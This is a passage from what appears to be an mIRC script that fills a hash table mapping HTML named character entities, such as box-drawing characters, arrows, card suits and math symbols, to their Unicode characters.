  4399.   hadd %h /^lfloor$/1443 $chr($base(230A, 16, 10))
  4400.   hadd %h /^LeftFloor$/1444 $chr($base(230A, 16, 10))
  4401.   hadd %h /^rfloor$/1445 $chr($base(230B, 16, 10))
  4402.   hadd %h /^RightFloor$/1446 $chr($base(230B, 16, 10))
  4403.   hadd %h /^drcrop$/1447 $chr($base(230C, 16, 10))
  4404.   hadd %h /^dlcrop$/1448 $chr($base(230D, 16, 10))
  4405.   hadd %h /^urcrop$/1449 $chr($base(230E, 16, 10))
  4406.   hadd %h /^ulcrop$/1450 $chr($base(230F, 16, 10))
  4407.   hadd %h /^bnot$/1451 $chr($base(2310, 16, 10))
  4408.   hadd %h /^profline$/1452 $chr($base(2312, 16, 10))
  4409.   hadd %h /^profsurf$/1453 $chr($base(2313, 16, 10))
  4410.   hadd %h /^telrec$/1454 $chr($base(2315, 16, 10))
  4411.   hadd %h /^target$/1455 $chr($base(2316, 16, 10))
  4412.   hadd %h /^ulcorn$/1456 $chr($base(231C, 16, 10))
  4413.   hadd %h /^ulcorner$/1457 $chr($base(231C, 16, 10))
  4414.   hadd %h /^urcorn$/1458 $chr($base(231D, 16, 10))
  4415.   hadd %h /^urcorner$/1459 $chr($base(231D, 16, 10))
  4416.   hadd %h /^dlcorn$/1460 $chr($base(231E, 16, 10))
  4417.   hadd %h /^llcorner$/1461 $chr($base(231E, 16, 10))
  4418.   hadd %h /^drcorn$/1462 $chr($base(231F, 16, 10))
  4419.   hadd %h /^lrcorner$/1463 $chr($base(231F, 16, 10))
  4420.   hadd %h /^frown$/1464 $chr($base(2322, 16, 10))
  4421.   hadd %h /^sfrown$/1465 $chr($base(2322, 16, 10))
  4422.   hadd %h /^smile$/1466 $chr($base(2323, 16, 10))
  4423.   hadd %h /^ssmile$/1467 $chr($base(2323, 16, 10))
  4424.   hadd %h /^cylcty$/1468 $chr($base(232D, 16, 10))
  4425.   hadd %h /^profalar$/1469 $chr($base(232E, 16, 10))
  4426.   hadd %h /^topbot$/1470 $chr($base(2336, 16, 10))
  4427.   hadd %h /^ovbar$/1471 $chr($base(233D, 16, 10))
  4428.   hadd %h /^solbar$/1472 $chr($base(233F, 16, 10))
  4429.   hadd %h /^angzarr$/1473 $chr($base(237C, 16, 10))
  4430.   hadd %h /^lmoust$/1474 $chr($base(23B0, 16, 10))
  4431.   hadd %h /^lmoustache$/1475 $chr($base(23B0, 16, 10))
  4432.   hadd %h /^rmoust$/1476 $chr($base(23B1, 16, 10))
  4433.   hadd %h /^rmoustache$/1477 $chr($base(23B1, 16, 10))
  4434.   hadd %h /^tbrk$/1478 $chr($base(23B4, 16, 10))
  4435.   hadd %h /^OverBracket$/1479 $chr($base(23B4, 16, 10))
  4436.   hadd %h /^bbrk$/1480 $chr($base(23B5, 16, 10))
  4437.   hadd %h /^UnderBracket$/1481 $chr($base(23B5, 16, 10))
  4438.   hadd %h /^bbrktbrk$/1482 $chr($base(23B6, 16, 10))
  4439.   hadd %h /^OverParenthesis$/1483 $chr($base(23DC, 16, 10))
  4440.   hadd %h /^UnderParenthesis$/1484 $chr($base(23DD, 16, 10))
  4441.   hadd %h /^OverBrace$/1485 $chr($base(23DE, 16, 10))
  4442.   hadd %h /^UnderBrace$/1486 $chr($base(23DF, 16, 10))
  4443.   hadd %h /^trpezium$/1487 $chr($base(23E2, 16, 10))
  4444.   hadd %h /^elinters$/1488 $chr($base(23E7, 16, 10))
  4445.   hadd %h /^blank$/1489 $chr($base(2423, 16, 10))
  4446.   hadd %h /^oS$/1490 $chr($base(24C8, 16, 10))
  4447.   hadd %h /^circledS$/1491 $chr($base(24C8, 16, 10))
  4448.   hadd %h /^boxh$/1492 $chr($base(2500, 16, 10))
  4449.   hadd %h /^HorizontalLine$/1493 $chr($base(2500, 16, 10))
  4450.   hadd %h /^boxv$/1494 $chr($base(2502, 16, 10))
  4451.   hadd %h /^boxdr$/1495 $chr($base(250C, 16, 10))
  4452.   hadd %h /^boxdl$/1496 $chr($base(2510, 16, 10))
  4453.   hadd %h /^boxur$/1497 $chr($base(2514, 16, 10))
  4454.   hadd %h /^boxul$/1498 $chr($base(2518, 16, 10))
  4455.   hadd %h /^boxvr$/1499 $chr($base(251C, 16, 10))
  4456.   hadd %h /^boxvl$/1500 $chr($base(2524, 16, 10))
  4457.   hadd %h /^boxhd$/1501 $chr($base(252C, 16, 10))
  4458.   hadd %h /^boxhu$/1502 $chr($base(2534, 16, 10))
  4459.   hadd %h /^boxvh$/1503 $chr($base(253C, 16, 10))
  4460.   hadd %h /^boxH$/1504 $chr($base(2550, 16, 10))
  4461.   hadd %h /^boxV$/1505 $chr($base(2551, 16, 10))
  4462.   hadd %h /^boxdR$/1506 $chr($base(2552, 16, 10))
  4463.   hadd %h /^boxDr$/1507 $chr($base(2553, 16, 10))
  4464.   hadd %h /^boxDR$/1508 $chr($base(2554, 16, 10))
  4465.   hadd %h /^boxdL$/1509 $chr($base(2555, 16, 10))
  4466.   hadd %h /^boxDl$/1510 $chr($base(2556, 16, 10))
  4467.   hadd %h /^boxDL$/1511 $chr($base(2557, 16, 10))
  4468.   hadd %h /^boxuR$/1512 $chr($base(2558, 16, 10))
  4469.   hadd %h /^boxUr$/1513 $chr($base(2559, 16, 10))
  4470.   hadd %h /^boxUR$/1514 $chr($base(255A, 16, 10))
  4471.   hadd %h /^boxuL$/1515 $chr($base(255B, 16, 10))
  4472.   hadd %h /^boxUl$/1516 $chr($base(255C, 16, 10))
  4473.   hadd %h /^boxUL$/1517 $chr($base(255D, 16, 10))
  4474.   hadd %h /^boxvR$/1518 $chr($base(255E, 16, 10))
  4475.   hadd %h /^boxVr$/1519 $chr($base(255F, 16, 10))
  4476.   hadd %h /^boxVR$/1520 $chr($base(2560, 16, 10))
  4477.   hadd %h /^boxvL$/1521 $chr($base(2561, 16, 10))
  4478.   hadd %h /^boxVl$/1522 $chr($base(2562, 16, 10))
  4479.   hadd %h /^boxVL$/1523 $chr($base(2563, 16, 10))
  4480.   hadd %h /^boxHd$/1524 $chr($base(2564, 16, 10))
  4481.   hadd %h /^boxhD$/1525 $chr($base(2565, 16, 10))
  4482.   hadd %h /^boxHD$/1526 $chr($base(2566, 16, 10))
  4483.   hadd %h /^boxHu$/1527 $chr($base(2567, 16, 10))
  4484.   hadd %h /^boxhU$/1528 $chr($base(2568, 16, 10))
  4485.   hadd %h /^boxHU$/1529 $chr($base(2569, 16, 10))
  4486.   hadd %h /^boxvH$/1530 $chr($base(256A, 16, 10))
  4487.   hadd %h /^boxVh$/1531 $chr($base(256B, 16, 10))
  4488.   hadd %h /^boxVH$/1532 $chr($base(256C, 16, 10))
  4489.   hadd %h /^uhblk$/1533 $chr($base(2580, 16, 10))
  4490.   hadd %h /^lhblk$/1534 $chr($base(2584, 16, 10))
  4491.   hadd %h /^block$/1535 $chr($base(2588, 16, 10))
  4492.   hadd %h /^blk14$/1536 $chr($base(2591, 16, 10))
  4493.   hadd %h /^blk12$/1537 $chr($base(2592, 16, 10))
  4494.   hadd %h /^blk34$/1538 $chr($base(2593, 16, 10))
  4495.   hadd %h /^squ$/1539 $chr($base(25A1, 16, 10))
  4496.   hadd %h /^square$/1540 $chr($base(25A1, 16, 10))
  4497.   hadd %h /^Square$/1541 $chr($base(25A1, 16, 10))
  4498.   hadd %h /^squf$/1542 $chr($base(25AA, 16, 10))
  4499.   hadd %h /^squarf$/1543 $chr($base(25AA, 16, 10))
  4500.   hadd %h /^blacksquare$/1544 $chr($base(25AA, 16, 10))
  4501.   hadd %h /^FilledVerySmallSquare$/1545 $chr($base(25AA, 16, 10))
  4502.   hadd %h /^EmptyVerySmallSquare$/1546 $chr($base(25AB, 16, 10))
  4503.   hadd %h /^rect$/1547 $chr($base(25AD, 16, 10))
  4504.   hadd %h /^marker$/1548 $chr($base(25AE, 16, 10))
  4505.   hadd %h /^fltns$/1549 $chr($base(25B1, 16, 10))
  4506.   hadd %h /^xutri$/1550 $chr($base(25B3, 16, 10))
  4507.   hadd %h /^bigtriangleup$/1551 $chr($base(25B3, 16, 10))
  4508.   hadd %h /^utrif$/1552 $chr($base(25B4, 16, 10))
  4509.   hadd %h /^blacktriangle$/1553 $chr($base(25B4, 16, 10))
  4510.   hadd %h /^utri$/1554 $chr($base(25B5, 16, 10))
  4511.   hadd %h /^triangle$/1555 $chr($base(25B5, 16, 10))
  4512.   hadd %h /^rtrif$/1556 $chr($base(25B8, 16, 10))
  4513.   hadd %h /^blacktriangleright$/1557 $chr($base(25B8, 16, 10))
  4514.   hadd %h /^rtri$/1558 $chr($base(25B9, 16, 10))
  4515.   hadd %h /^triangleright$/1559 $chr($base(25B9, 16, 10))
  4516.   hadd %h /^xdtri$/1560 $chr($base(25BD, 16, 10))
  4517.   hadd %h /^bigtriangledown$/1561 $chr($base(25BD, 16, 10))
  4518.   hadd %h /^dtrif$/1562 $chr($base(25BE, 16, 10))
  4519.   hadd %h /^blacktriangledown$/1563 $chr($base(25BE, 16, 10))
  4520.   hadd %h /^dtri$/1564 $chr($base(25BF, 16, 10))
  4521.   hadd %h /^triangledown$/1565 $chr($base(25BF, 16, 10))
  4522.   hadd %h /^ltrif$/1566 $chr($base(25C2, 16, 10))
  4523.   hadd %h /^blacktriangleleft$/1567 $chr($base(25C2, 16, 10))
  4524.   hadd %h /^ltri$/1568 $chr($base(25C3, 16, 10))
  4525.   hadd %h /^triangleleft$/1569 $chr($base(25C3, 16, 10))
  4526.   hadd %h /^loz$/1570 $chr($base(25CA, 16, 10))
  4527.   hadd %h /^lozenge$/1571 $chr($base(25CA, 16, 10))
  4528.   hadd %h /^cir$/1572 $chr($base(25CB, 16, 10))
  4529.   hadd %h /^tridot$/1573 $chr($base(25EC, 16, 10))
  4530.   hadd %h /^xcirc$/1574 $chr($base(25EF, 16, 10))
  4531.   hadd %h /^bigcirc$/1575 $chr($base(25EF, 16, 10))
  4532.   hadd %h /^ultri$/1576 $chr($base(25F8, 16, 10))
  4533.   hadd %h /^urtri$/1577 $chr($base(25F9, 16, 10))
  4534.   hadd %h /^lltri$/1578 $chr($base(25FA, 16, 10))
  4535.   hadd %h /^EmptySmallSquare$/1579 $chr($base(25FB, 16, 10))
  4536.   hadd %h /^FilledSmallSquare$/1580 $chr($base(25FC, 16, 10))
  4537.   hadd %h /^starf$/1581 $chr($base(2605, 16, 10))
  4538.   hadd %h /^bigstar$/1582 $chr($base(2605, 16, 10))
  4539.   hadd %h /^star$/1583 $chr($base(2606, 16, 10))
  4540.   hadd %h /^phone$/1584 $chr($base(260E, 16, 10))
  4541.   hadd %h /^female$/1585 $chr($base(2640, 16, 10))
  4542.   hadd %h /^male$/1586 $chr($base(2642, 16, 10))
  4543.   hadd %h /^spades$/1587 $chr($base(2660, 16, 10))
  4544.   hadd %h /^spadesuit$/1588 $chr($base(2660, 16, 10))
  4545.   hadd %h /^clubs$/1589 $chr($base(2663, 16, 10))
  4546.   hadd %h /^clubsuit$/1590 $chr($base(2663, 16, 10))
  4547.   hadd %h /^hearts$/1591 $chr($base(2665, 16, 10))
  4548.   hadd %h /^heartsuit$/1592 $chr($base(2665, 16, 10))
  4549.   hadd %h /^diams$/1593 $chr($base(2666, 16, 10))
  4550.   hadd %h /^diamondsuit$/1594 $chr($base(2666, 16, 10))
  4551.   hadd %h /^sung$/1595 $chr($base(266A, 16, 10))
  4552.   hadd %h /^flat$/1596 $chr($base(266D, 16, 10))
  4553.   hadd %h /^natur$/1597 $chr($base(266E, 16, 10))
  4554.   hadd %h /^natural$/1598 $chr($base(266E, 16, 10))
  4555.   hadd %h /^sharp$/1599 $chr($base(266F, 16, 10))
  4556.   hadd %h /^check$/1600 $chr($base(2713, 16, 10))
  4557.   hadd %h /^checkmark$/1601 $chr($base(2713, 16, 10))
  4558.   hadd %h /^cross$/1602 $chr($base(2717, 16, 10))
  4559.   hadd %h /^malt$/1603 $chr($base(2720, 16, 10))
  4560.   hadd %h /^maltese$/1604 $chr($base(2720, 16, 10))
  4561.   hadd %h /^sext$/1605 $chr($base(2736, 16, 10))
  4562.   hadd %h /^VerticalSeparator$/1606 $chr($base(2758, 16, 10))
  4563.   hadd %h /^lbbrk$/1607 $chr($base(2772, 16, 10))
  4564.   hadd %h /^rbbrk$/1608 $chr($base(2773, 16, 10))
  4565.   hadd %h /^bsolhsub$/1609 $chr($base(27C8, 16, 10))
  4566.   hadd %h /^suphsol$/1610 $chr($base(27C9, 16, 10))
  4567.   hadd %h /^lobrk$/1611 $chr($base(27E6, 16, 10))
  4568.   hadd %h /^LeftDoubleBracket$/1612 $chr($base(27E6, 16, 10))
  4569.   hadd %h /^robrk$/1613 $chr($base(27E7, 16, 10))
  4570.   hadd %h /^RightDoubleBracket$/1614 $chr($base(27E7, 16, 10))
  4571.   hadd %h /^lang$/1615 $chr($base(27E8, 16, 10))
  4572.   hadd %h /^LeftAngleBracket$/1616 $chr($base(27E8, 16, 10))
  4573.   hadd %h /^langle$/1617 $chr($base(27E8, 16, 10))
  4574.   hadd %h /^rang$/1618 $chr($base(27E9, 16, 10))
  4575.   hadd %h /^RightAngleBracket$/1619 $chr($base(27E9, 16, 10))
  4576.   hadd %h /^rangle$/1620 $chr($base(27E9, 16, 10))
  4577.   hadd %h /^Lang$/1621 $chr($base(27EA, 16, 10))
  4578.   hadd %h /^Rang$/1622 $chr($base(27EB, 16, 10))
  4579.   hadd %h /^loang$/1623 $chr($base(27EC, 16, 10))
  4580.   hadd %h /^roang$/1624 $chr($base(27ED, 16, 10))
  4581.   hadd %h /^xlarr$/1625 $chr($base(27F5, 16, 10))
  4582.   hadd %h /^longleftarrow$/1626 $chr($base(27F5, 16, 10))
  4583.   hadd %h /^LongLeftArrow$/1627 $chr($base(27F5, 16, 10))
  4584.   hadd %h /^xrarr$/1628 $chr($base(27F6, 16, 10))
  4585.   hadd %h /^longrightarrow$/1629 $chr($base(27F6, 16, 10))
  4586.   hadd %h /^LongRightArrow$/1630 $chr($base(27F6, 16, 10))
  4587.   hadd %h /^xharr$/1631 $chr($base(27F7, 16, 10))
  4588.   hadd %h /^longleftrightarrow$/1632 $chr($base(27F7, 16, 10))
  4589.   hadd %h /^LongLeftRightArrow$/1633 $chr($base(27F7, 16, 10))
  4590.   hadd %h /^xlArr$/1634 $chr($base(27F8, 16, 10))
  4591.   hadd %h /^Longleftarrow$/1635 $chr($base(27F8, 16, 10))
  4592.   hadd %h /^DoubleLongLeftArrow$/1636 $chr($base(27F8, 16, 10))
  4593.   hadd %h /^xrArr$/1637 $chr($base(27F9, 16, 10))
  4594.   hadd %h /^Longrightarrow$/1638 $chr($base(27F9, 16, 10))
  4595.   hadd %h /^DoubleLongRightArrow$/1639 $chr($base(27F9, 16, 10))
  4596.   hadd %h /^xhArr$/1640 $chr($base(27FA, 16, 10))
  4597.   hadd %h /^Longleftrightarrow$/1641 $chr($base(27FA, 16, 10))
  4598.   hadd %h /^DoubleLongLeftRightArrow$/1642 $chr($base(27FA, 16, 10))
  4599.   hadd %h /^xmap$/1643 $chr($base(27FC, 16, 10))
  4600.   hadd %h /^longmapsto$/1644 $chr($base(27FC, 16, 10))
  4601.   hadd %h /^dzigrarr$/1645 $chr($base(27FF, 16, 10))
  4602.   hadd %h /^nvlArr$/1646 $chr($base(2902, 16, 10))
  4603.   hadd %h /^nvrArr$/1647 $chr($base(2903, 16, 10))
  4604.   hadd %h /^nvHarr$/1648 $chr($base(2904, 16, 10))
  4605.   hadd %h /^Map$/1649 $chr($base(2905, 16, 10))
  4606.   hadd %h /^lbarr$/1650 $chr($base(290C, 16, 10))
  4607.   hadd %h /^rbarr$/1651 $chr($base(290D, 16, 10))
  4608.   hadd %h /^bkarow$/1652 $chr($base(290D, 16, 10))
  4609.   hadd %h /^lBarr$/1653 $chr($base(290E, 16, 10))
  4610.   hadd %h /^rBarr$/1654 $chr($base(290F, 16, 10))
  4611.   hadd %h /^dbkarow$/1655 $chr($base(290F, 16, 10))
  4612.   hadd %h /^RBarr$/1656 $chr($base(2910, 16, 10))
  4613.   hadd %h /^drbkarow$/1657 $chr($base(2910, 16, 10))
  4614.   hadd %h /^DDotrahd$/1658 $chr($base(2911, 16, 10))
  4615.   hadd %h /^UpArrowBar$/1659 $chr($base(2912, 16, 10))
  4616.   hadd %h /^DownArrowBar$/1660 $chr($base(2913, 16, 10))
  4617.   hadd %h /^Rarrtl$/1661 $chr($base(2916, 16, 10))
  4618.   hadd %h /^latail$/1662 $chr($base(2919, 16, 10))
  4619.   hadd %h /^ratail$/1663 $chr($base(291A, 16, 10))
  4620.   hadd %h /^lAtail$/1664 $chr($base(291B, 16, 10))
  4621.   hadd %h /^rAtail$/1665 $chr($base(291C, 16, 10))
  4622.   hadd %h /^larrfs$/1666 $chr($base(291D, 16, 10))
  4623.   hadd %h /^rarrfs$/1667 $chr($base(291E, 16, 10))
  4624.   hadd %h /^larrbfs$/1668 $chr($base(291F, 16, 10))
  4625.   hadd %h /^rarrbfs$/1669 $chr($base(2920, 16, 10))
  4626.   hadd %h /^nwarhk$/1670 $chr($base(2923, 16, 10))
  4627.   hadd %h /^nearhk$/1671 $chr($base(2924, 16, 10))
  4628.   hadd %h /^searhk$/1672 $chr($base(2925, 16, 10))
  4629.   hadd %h /^hksearow$/1673 $chr($base(2925, 16, 10))
  4630.   hadd %h /^swarhk$/1674 $chr($base(2926, 16, 10))
  4631.   hadd %h /^hkswarow$/1675 $chr($base(2926, 16, 10))
  4632.   hadd %h /^nwnear$/1676 $chr($base(2927, 16, 10))
  4633.   hadd %h /^nesear$/1677 $chr($base(2928, 16, 10))
  4634.   hadd %h /^toea$/1678 $chr($base(2928, 16, 10))
  4635.   hadd %h /^seswar$/1679 $chr($base(2929, 16, 10))
  4636.   hadd %h /^tosa$/1680 $chr($base(2929, 16, 10))
  4637.   hadd %h /^swnwar$/1681 $chr($base(292A, 16, 10))
  4638.   hadd %h /^rarrc$/1682 $chr($base(2933, 16, 10))
  4639.   hadd %h /^nrarrc$/1683 $chr($base(2933, 16, 10)) $+ $chr($base(0338, 16, 10))
  4640.   hadd %h /^cudarrr$/1684 $chr($base(2935, 16, 10))
  4641.   hadd %h /^ldca$/1685 $chr($base(2936, 16, 10))
  4642.   hadd %h /^rdca$/1686 $chr($base(2937, 16, 10))
  4643.   hadd %h /^cudarrl$/1687 $chr($base(2938, 16, 10))
  4644.   hadd %h /^larrpl$/1688 $chr($base(2939, 16, 10))
  4645.   hadd %h /^curarrm$/1689 $chr($base(293C, 16, 10))
  4646.   hadd %h /^cularrp$/1690 $chr($base(293D, 16, 10))
  4647.   hadd %h /^rarrpl$/1691 $chr($base(2945, 16, 10))
  4648.   hadd %h /^harrcir$/1692 $chr($base(2948, 16, 10))
  4649.   hadd %h /^Uarrocir$/1693 $chr($base(2949, 16, 10))
  4650.   hadd %h /^lurdshar$/1694 $chr($base(294A, 16, 10))
  4651.   hadd %h /^ldrushar$/1695 $chr($base(294B, 16, 10))
  4652.   hadd %h /^LeftRightVector$/1696 $chr($base(294E, 16, 10))
  4653.   hadd %h /^RightUpDownVector$/1697 $chr($base(294F, 16, 10))
  4654.   hadd %h /^DownLeftRightVector$/1698 $chr($base(2950, 16, 10))
  4655.   hadd %h /^LeftUpDownVector$/1699 $chr($base(2951, 16, 10))
  4656.   hadd %h /^LeftVectorBar$/1700 $chr($base(2952, 16, 10))
  4657.   hadd %h /^RightVectorBar$/1701 $chr($base(2953, 16, 10))
  4658.   hadd %h /^RightUpVectorBar$/1702 $chr($base(2954, 16, 10))
  4659.   hadd %h /^RightDownVectorBar$/1703 $chr($base(2955, 16, 10))
  4660.   hadd %h /^DownLeftVectorBar$/1704 $chr($base(2956, 16, 10))
  4661.   hadd %h /^DownRightVectorBar$/1705 $chr($base(2957, 16, 10))
  4662.   hadd %h /^LeftUpVectorBar$/1706 $chr($base(2958, 16, 10))
  4663.   hadd %h /^LeftDownVectorBar$/1707 $chr($base(2959, 16, 10))
  4664.   hadd %h /^LeftTeeVector$/1708 $chr($base(295A, 16, 10))
  4665.   hadd %h /^RightTeeVector$/1709 $chr($base(295B, 16, 10))
  4666.   hadd %h /^RightUpTeeVector$/1710 $chr($base(295C, 16, 10))
  4667.   hadd %h /^RightDownTeeVector$/1711 $chr($base(295D, 16, 10))
  4668.   hadd %h /^DownLeftTeeVector$/1712 $chr($base(295E, 16, 10))
  4669.   hadd %h /^DownRightTeeVector$/1713 $chr($base(295F, 16, 10))
  4670.   hadd %h /^LeftUpTeeVector$/1714 $chr($base(2960, 16, 10))
  4671.   hadd %h /^LeftDownTeeVector$/1715 $chr($base(2961, 16, 10))
  4672.   hadd %h /^lHar$/1716 $chr($base(2962, 16, 10))
  4673.   hadd %h /^uHar$/1717 $chr($base(2963, 16, 10))
  4674.   hadd %h /^rHar$/1718 $chr($base(2964, 16, 10))
  4675.   hadd %h /^dHar$/1719 $chr($base(2965, 16, 10))
  4676.   hadd %h /^luruhar$/1720 $chr($base(2966, 16, 10))
  4677.   hadd %h /^ldrdhar$/1721 $chr($base(2967, 16, 10))
  4678.   hadd %h /^ruluhar$/1722 $chr($base(2968, 16, 10))
  4679.   hadd %h /^rdldhar$/1723 $chr($base(2969, 16, 10))
  4680.   hadd %h /^lharul$/1724 $chr($base(296A, 16, 10))
  4681.   hadd %h /^llhard$/1725 $chr($base(296B, 16, 10))
  4682.   hadd %h /^rharul$/1726 $chr($base(296C, 16, 10))
  4683.   hadd %h /^lrhard$/1727 $chr($base(296D, 16, 10))
  4684.   hadd %h /^udhar$/1728 $chr($base(296E, 16, 10))
  4685.   hadd %h /^UpEquilibrium$/1729 $chr($base(296E, 16, 10))
  4686.   hadd %h /^duhar$/1730 $chr($base(296F, 16, 10))
  4687.   hadd %h /^ReverseUpEquilibrium$/1731 $chr($base(296F, 16, 10))
  4688.   hadd %h /^RoundImplies$/1732 $chr($base(2970, 16, 10))
  4689.   hadd %h /^erarr$/1733 $chr($base(2971, 16, 10))
  4690.   hadd %h /^simrarr$/1734 $chr($base(2972, 16, 10))
  4691.   hadd %h /^larrsim$/1735 $chr($base(2973, 16, 10))
  4692.   hadd %h /^rarrsim$/1736 $chr($base(2974, 16, 10))
  4693.   hadd %h /^rarrap$/1737 $chr($base(2975, 16, 10))
  4694.   hadd %h /^ltlarr$/1738 $chr($base(2976, 16, 10))
  4695.   hadd %h /^gtrarr$/1739 $chr($base(2978, 16, 10))
  4696.   hadd %h /^subrarr$/1740 $chr($base(2979, 16, 10))
  4697.   hadd %h /^suplarr$/1741 $chr($base(297B, 16, 10))
  4698.   hadd %h /^lfisht$/1742 $chr($base(297C, 16, 10))
  4699.   hadd %h /^rfisht$/1743 $chr($base(297D, 16, 10))
  4700.   hadd %h /^ufisht$/1744 $chr($base(297E, 16, 10))
  4701.   hadd %h /^dfisht$/1745 $chr($base(297F, 16, 10))
  4702.   hadd %h /^lopar$/1746 $chr($base(2985, 16, 10))
  4703.   hadd %h /^ropar$/1747 $chr($base(2986, 16, 10))
  4704.   hadd %h /^lbrke$/1748 $chr($base(298B, 16, 10))
  4705.   hadd %h /^rbrke$/1749 $chr($base(298C, 16, 10))
  4706.   hadd %h /^lbrkslu$/1750 $chr($base(298D, 16, 10))
  4707.   hadd %h /^rbrksld$/1751 $chr($base(298E, 16, 10))
  4708.   hadd %h /^lbrksld$/1752 $chr($base(298F, 16, 10))
  4709.   hadd %h /^rbrkslu$/1753 $chr($base(2990, 16, 10))
  4710.   hadd %h /^langd$/1754 $chr($base(2991, 16, 10))
  4711.   hadd %h /^rangd$/1755 $chr($base(2992, 16, 10))
  4712.   hadd %h /^lparlt$/1756 $chr($base(2993, 16, 10))
  4713.   hadd %h /^rpargt$/1757 $chr($base(2994, 16, 10))
  4714.   hadd %h /^gtlPar$/1758 $chr($base(2995, 16, 10))
  4715.   hadd %h /^ltrPar$/1759 $chr($base(2996, 16, 10))
  4716.   hadd %h /^vzigzag$/1760 $chr($base(299A, 16, 10))
  4717.   hadd %h /^vangrt$/1761 $chr($base(299C, 16, 10))
  4718.   hadd %h /^angrtvbd$/1762 $chr($base(299D, 16, 10))
  4719.   hadd %h /^ange$/1763 $chr($base(29A4, 16, 10))
  4720.   hadd %h /^range$/1764 $chr($base(29A5, 16, 10))
  4721.   hadd %h /^dwangle$/1765 $chr($base(29A6, 16, 10))
  4722.   hadd %h /^uwangle$/1766 $chr($base(29A7, 16, 10))
  4723.   hadd %h /^angmsdaa$/1767 $chr($base(29A8, 16, 10))
  4724.   hadd %h /^angmsdab$/1768 $chr($base(29A9, 16, 10))
  4725.   hadd %h /^angmsdac$/1769 $chr($base(29AA, 16, 10))
  4726.   hadd %h /^angmsdad$/1770 $chr($base(29AB, 16, 10))
  4727.   hadd %h /^angmsdae$/1771 $chr($base(29AC, 16, 10))
  4728.   hadd %h /^angmsdaf$/1772 $chr($base(29AD, 16, 10))
  4729.   hadd %h /^angmsdag$/1773 $chr($base(29AE, 16, 10))
  4730.   hadd %h /^angmsdah$/1774 $chr($base(29AF, 16, 10))
  4731.   hadd %h /^bemptyv$/1775 $chr($base(29B0, 16, 10))
  4732.   hadd %h /^demptyv$/1776 $chr($base(29B1, 16, 10))
  4733.   hadd %h /^cemptyv$/1777 $chr($base(29B2, 16, 10))
  4734.   hadd %h /^raemptyv$/1778 $chr($base(29B3, 16, 10))
  4735.   hadd %h /^laemptyv$/1779 $chr($base(29B4, 16, 10))
  4736.   hadd %h /^ohbar$/1780 $chr($base(29B5, 16, 10))
  4737.   hadd %h /^omid$/1781 $chr($base(29B6, 16, 10))
  4738.   hadd %h /^opar$/1782 $chr($base(29B7, 16, 10))
  4739.   hadd %h /^operp$/1783 $chr($base(29B9, 16, 10))
  4740.   hadd %h /^olcross$/1784 $chr($base(29BB, 16, 10))
  4741.   hadd %h /^odsold$/1785 $chr($base(29BC, 16, 10))
  4742.   hadd %h /^olcir$/1786 $chr($base(29BE, 16, 10))
  4743.   hadd %h /^ofcir$/1787 $chr($base(29BF, 16, 10))
  4744.   hadd %h /^olt$/1788 $chr($base(29C0, 16, 10))
  4745.   hadd %h /^ogt$/1789 $chr($base(29C1, 16, 10))
  4746.   hadd %h /^cirscir$/1790 $chr($base(29C2, 16, 10))
  4747.   hadd %h /^cirE$/1791 $chr($base(29C3, 16, 10))
  4748.   hadd %h /^solb$/1792 $chr($base(29C4, 16, 10))
  4749.   hadd %h /^bsolb$/1793 $chr($base(29C5, 16, 10))
  4750.   hadd %h /^boxbox$/1794 $chr($base(29C9, 16, 10))
  4751.   hadd %h /^trisb$/1795 $chr($base(29CD, 16, 10))
  4752.   hadd %h /^rtriltri$/1796 $chr($base(29CE, 16, 10))
  4753.   hadd %h /^LeftTriangleBar$/1797 $chr($base(29CF, 16, 10))
  4754.   hadd %h /^NotLeftTriangleBar$/1798 $chr($base(29CF, 16, 10)) $+ $chr($base(0338, 16, 10))
  4755.   hadd %h /^RightTriangleBar$/1799 $chr($base(29D0, 16, 10))
  4756.   hadd %h /^NotRightTriangleBar$/1800 $chr($base(29D0, 16, 10)) $+ $chr($base(0338, 16, 10))
  4757.   hadd %h /^iinfin$/1801 $chr($base(29DC, 16, 10))
  4758.   hadd %h /^infintie$/1802 $chr($base(29DD, 16, 10))
  4759.   hadd %h /^nvinfin$/1803 $chr($base(29DE, 16, 10))
  4760.   hadd %h /^eparsl$/1804 $chr($base(29E3, 16, 10))
  4761.   hadd %h /^smeparsl$/1805 $chr($base(29E4, 16, 10))
  4762.   hadd %h /^eqvparsl$/1806 $chr($base(29E5, 16, 10))
  4763.   hadd %h /^lozf$/1807 $chr($base(29EB, 16, 10))
  4764.   hadd %h /^blacklozenge$/1808 $chr($base(29EB, 16, 10))
  4765.   hadd %h /^RuleDelayed$/1809 $chr($base(29F4, 16, 10))
  4766.   hadd %h /^dsol$/1810 $chr($base(29F6, 16, 10))
  4767.   hadd %h /^xodot$/1811 $chr($base(2A00, 16, 10))
  4768.   hadd %h /^bigodot$/1812 $chr($base(2A00, 16, 10))
  4769.   hadd %h /^xoplus$/1813 $chr($base(2A01, 16, 10))
  4770.   hadd %h /^bigoplus$/1814 $chr($base(2A01, 16, 10))
  4771.   hadd %h /^xotime$/1815 $chr($base(2A02, 16, 10))
  4772.   hadd %h /^bigotimes$/1816 $chr($base(2A02, 16, 10))
  4773.   hadd %h /^xuplus$/1817 $chr($base(2A04, 16, 10))
  4774.   hadd %h /^biguplus$/1818 $chr($base(2A04, 16, 10))
  4775.   hadd %h /^xsqcup$/1819 $chr($base(2A06, 16, 10))
  4776.   hadd %h /^bigsqcup$/1820 $chr($base(2A06, 16, 10))
  4777.   hadd %h /^qint$/1821 $chr($base(2A0C, 16, 10))
  4778.   hadd %h /^iiiint$/1822 $chr($base(2A0C, 16, 10))
  4779.   hadd %h /^fpartint$/1823 $chr($base(2A0D, 16, 10))
  4780.   hadd %h /^cirfnint$/1824 $chr($base(2A10, 16, 10))
  4781.   hadd %h /^awint$/1825 $chr($base(2A11, 16, 10))
  4782.   hadd %h /^rppolint$/1826 $chr($base(2A12, 16, 10))
  4783.   hadd %h /^scpolint$/1827 $chr($base(2A13, 16, 10))
  4784.   hadd %h /^npolint$/1828 $chr($base(2A14, 16, 10))
  4785.   hadd %h /^pointint$/1829 $chr($base(2A15, 16, 10))
  4786.   hadd %h /^quatint$/1830 $chr($base(2A16, 16, 10))
  4787.   hadd %h /^intlarhk$/1831 $chr($base(2A17, 16, 10))
  4788.   hadd %h /^pluscir$/1832 $chr($base(2A22, 16, 10))
  4789.   hadd %h /^plusacir$/1833 $chr($base(2A23, 16, 10))
  4790.   hadd %h /^simplus$/1834 $chr($base(2A24, 16, 10))
  4791.   hadd %h /^plusdu$/1835 $chr($base(2A25, 16, 10))
